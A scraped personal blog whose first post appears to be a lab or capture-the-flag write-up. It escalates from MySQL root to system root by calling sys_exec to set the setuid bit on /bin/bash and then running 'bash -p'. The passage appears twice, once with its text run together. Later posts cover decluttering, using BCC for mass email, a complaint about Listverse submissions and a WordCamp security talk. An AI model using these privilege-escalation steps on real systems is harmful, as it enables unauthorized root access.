https://www.facebook.com/notes/security-training-share/mysql-root-to-system-root-with-lib_mysqludf_sys-for-windows-and-linux/865458806817957/

It described the situation perfectly:

“We may have MySQL root access but not system root access for a number of reasons including having a shell account on the target whilst MySQL’s root user has been left unpassworded by default, or alternatively gaining access via SQL injection through a web application connecting to the database as root, which is something I see far too often.”

The necessary lib file was already at /usr/lib/lib_mysqludf_sys.so which meant I didn’t need to grab it from sqlmap and upload it to the system.

Modifying those instructions a little, there was no need to compile a c script (which I was unable to do as user ‘john’ anyway.

Where that article has this line:

select sys_exec('id > /tmp/out; chown npn.npn /tmp/out');

Just do this instead:

select sys_exec('chmod u+s /bin/bash');

Then drop out of MySQL and run this:

bash -p

It should drop you into a root shell!

cd /rootcat congrats.txtIt described the situation perfectly:"We may have MySQL root access but not system root access for a number of reasons including having a shell account on the target whilst MySQL’s root user has been left unpassworded by default, or alternatively gaining access via SQL injection through a web application connecting to the database as root, which is something I see far too often."The necessary lib file was already at /usr/lib/lib_mysqludf_sys.so which meant I didn't need to grab it from sqlmap and upload it to the system.Modifying those instructions a little, there was no need to compile a c script that changes users.Instead of this line:select sys_exec('id > /tmp/out; chown npn.npn /tmp/out');Just do this:select sys_exec('chmod u+s /bin/bash');Then drop out of MySQL and run this:	Ø bash -pIt should drop you into a root shell!cd /rootcat congrats.txt

Root obtained. Mission complete!

 

Decluttering

declutter photoWith the start of a new year about to happen, I’ve been doing a lot of reflection on where I’ve been focusing my attention, and what I’ve been getting out of those things. My conclusions led me to discover that I have been putting a lot of time and energy into things that don’t necessarily help me, my family, and everything surrounding those primary things (career, creativity, cashflow, etc).

So, I have decided to give up the following:

  • Caring about sports. I may watch some bigger Louisville basketball games, but overall, this has become more of a chore than anything, and I spend way too much time wrapped up in the emotions surrounding games. This is particularly unproductive when they lose.
  • Facebook. I’ve given it up before, but it serves absolutely no purpose for me. If people want to keep in touch, they know how to find me.
  • Clash of Clans. I’ve led a very successful clan for almost 2 years, and been a part of the game for almost 3. I helped start the Reddit Alliance Clans system, and all of this has been a large time sink. I did have a lot of fun, and I met a lot of great people along the way, but ultimately, it’s been entirely unproductive towards helping any of the primary things in life I mentioned above.
  • Reddit. One thing I’ve noticed is that by deleting apps off my phone, I waste a lot less time. So I am removing the Reddit app that I use, and will instead only check in on occasion when at my computer, at home. I tend to get wrapped up in drawn-out conversations (or arguments) on Reddit far too often. While some of these interactions can have positive outcomes (discussing network security, for example), most of the time I am arguing with people who will never change their minds. Why? I have no idea.

I hope to start using all the freed up time and energy (in no particular order) towards continuing my newfound interest in working out, continuing to educate myself, investing more time and energy with my family, making more music, and focusing on the things that support all of the above — the primary things in life.

I will report back more in a few months to let you know how it all goes!

Photo by ollesvensson

Let’s Revisit: Sending Mass Emails The Right Way

envelopes photoThe concept of sending an email to multiple people the right way seems to have eluded the populace as a whole lately. I’m looking at you, schoolteachers, soccer coaches, and party invitation senders. I write to you today because, in recent months, it seems I’ve been included on more and more emails where I’m one of 50 people whose email address is awkwardly stuffed into the CC: field of the email you sent, right there with all the others for everyone in the list to see. I even got an email from the manager of the local Sears store I had recently purchased an appliance from, that got sent to all the people who had bought something there recently, and everyone’s name and address were easily viewable in the CC field.

The problem here is that you are being inconsiderate towards peoples’ privacy, and you are sending around a large list of real email addresses to possibly be harvested by spammers.

There is a way to do this that protects peoples’ privacy, doesn’t annoy the nerds and geeks in your email list, and makes you look like you know what you are doing. What trifecta could be better than that?

The easiest way to do this is by using the BCC: field instead of the CC: field. BCC stands for “Blind carbon copy,” which means that any email address entered in it will not show up to the recipients of the email. The CC: field does show them, so don’t use it.

The trick is that you should enter your own email address in the To: field of the email, then enter the long list of room parents or party invitees in the BCC field. That’s it! Now you too can look cool.

There are some detailed instructions, with pictures, available here, in case you need more info.

Writing for Listverse is a Waste of Your Time

Listverse is often a recommended website for people who wish to make a little extra cash. They make it sound like it is fun and easy to “Write & Get Paid.”

I’m here to urge you not to waste your time. You will be better off writing for real website owners who post projects on Textbroker or any of the other writers’ platforms out there.

The Listverse deal seems rather straightforward at first: come up with a list of things that are quirky and unique, write at least 1200 words about them, cite your sources, then submit them for review. If approved, they send you $100 via Paypal. I thought this sounded like a fun way to make $100 by writing about topics I know and am interested in.

One thing you have to do before writing a list is to make sure they don’t already have a list about the topic you want to write about. Searching their site for existing lists is futile, as their Search feature doesn’t seem to work at all. See the example below, where I searched for a list about vampires that is shown on their home page, and even it doesn’t come up in a search result:

search_-_listverse

This leaves you with having to use Google to query the Listverse site in an attempt to make sure you don’t waste your time writing a list that is already there:

listverse_vampires_-_google_search

Once you think you have a good idea for a list topic, it’s a good idea to read about the Listverse guidelines on what they expect and what the rules of engagement are. Here is how they summarize it:

It works like this: You write your list (10 items per list minimum), you send it in, we reply and say “Great—we’ll publish it” and send you $100 by PayPal (don’t have an account? just make one—it’s easy and free); or we reply and say “Sorry—it isn’t the sort of thing our readers will love—give it another shot.” Just remember, your list should be at least one or two paragraphs per entry.

There is also a more detailed Author Guide that gets into writing style and some more about the rules and what they expect.

The other major caveat is not to write about something in their short list of topics that they are currently not taking submissions for, which are sports, self-help, personal stories, and gaming.

Sounds pretty easy, right?

I dove in and spent about two hours researching topics, writing up a list, proofing it, finding sources for it, then attempting to submit it. Their submission page says, “We only consider submissions with the highest standard of English and submissions should not exceed 1,500 words.”

No problem. I love writing and have what I consider a good mastery of the English language. My article was about 1000 words, so I thought it was ready to go.

First Problem

Only at this point do you learn that lists must be at least 1500 words. Wait…what? Above, on the Submission page, it says that the article “should not exceed 1500 words”. But if you click Submit List, and your article isn’t long enough, you see this:

extra_listverse_com_submit_submit_php

They don’t tell you this anywhere on the submission page until you click the Submit button. And this situation makes it seem like you are set up for failure from the start. So, in one place it says no more than 1500 words, then you are scolded about not having at least 1500 words when you try to submit. What to do?

I went back and added more meat to my list, getting it to the minimum length required, and was finally allowed to proceed. The resulting page and the resulting confirmation email I got told me that it would be up to two weeks before hearing from them. Apparently they read every entry they get, and it is time consuming. I am a patient man, so I was OK with this.

Problem Two: Rejection

I got the rejection letter this morning. I understand not getting accepted for legitimate reasons; it was more about the issues surrounding it that led me to writing this lengthy blog post.

First, the rejection letter itself was not the “highest standard of English,” which was amusing more than anything, but I thought I’d point it out. For example, it said this:

“We regret that your list is just not quite what we are looking for right now; this is usually because your subject matter is outside the scope of the direction in which we are taking Listverse.”

Taking Listverse? Ok, whatever. Moving along…

Second, they go on to list out some of the same caveats about submitting a list, but only this time is it in more detail than before you actually write your list:

We are currently not taking any lists from the following categories: self-help, opinion, product rankings or reviews, money making guides, personal experience stories, health advice, gaming, sports, music, TV, movies, and animals.

My list was not in any of those categories, but I did stop to think that many of these had not been mentioned up front, and I’d have been pissed if I had spent a lot of time on a list about animals, for example.

They went on to list some “technical” reasons for rejection:

1. The list is too short, too long, or does not have ten items
2. The list requires too much editing (poor English or lack of proofing is usually the reason)
3. The topic is already covered on Listverse or the Internet in general
4. The topic is simply not in keeping with the style of content we publish

Regarding 1, I had exactly 10 items on my list. Was I rejected because the list was over 1500 words long, even though I was unable to submit a list unless it was 1500 words long? That seems stupid.

I knew my rejection wasn’t due to numbers 2, 3, or 4, as I had researched everything, proofed it all, and come up with something rather unique to write about, and made it appealing to the type of audience they cater to.

The Final Knockdown: It’s an odds game

Being rather bewildered at the reasons for rejection not lining up with my article, and still not understanding why my submission was not taken, I carefully re-read the rejection email and I found this sentence in the middle:

We receive more than 150 submissions each day and can only choose three for publication.

Only now, after spending all this time writing a list, researching it, proofing it, and waiting on the outcome, did they choose to mention that 3 per day is the limit. The odds sure would have been helpful to know up front, way before any of this ever happened.

But then, why would anyone ever choose to write a list and submit it if they knew the odds, right?

I will not be wasting any more of my time on Listverse, and I urge you not to, either!

Note: I will publish my list here soon. Since they rejected it, I retained rights to it 🙂

WordPress Security from WordCamp Asheville 2016

One of the coolest things about WordCamp is that they post videos of each talk and presentation on WordPress.tv for viewing afterwards. It give you the chance to see all the great presentations you may have missed, or to revisit the ones you attended.

With so many WordCamps happening all over the world, it is a great resource.

My presentation from WordCamp Asheville 2016, titled WordPress Security: Don’t Be a Target, is now live on WordPress.tv.

clicky